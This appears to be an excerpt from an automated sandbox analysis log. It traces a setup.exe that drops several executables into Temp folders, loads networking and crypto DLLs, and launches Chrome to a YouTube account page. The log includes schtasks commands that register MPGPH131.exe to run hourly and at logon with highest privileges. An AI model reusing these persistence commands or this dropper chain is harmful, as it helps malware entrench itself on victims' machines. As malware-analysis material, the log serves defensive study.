Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\1000015002\b6042db502.exe "C:\Users\user\1000015002\b6042db502.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe "C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe "C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe"	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5500 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3572 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d11.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxgi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d10warp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wininet.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: devobj.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: webio.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winnsi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rasadhlp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: fwpuclnt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: schannel.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mskeyprotect.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncryptsslp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: gpapi.dll
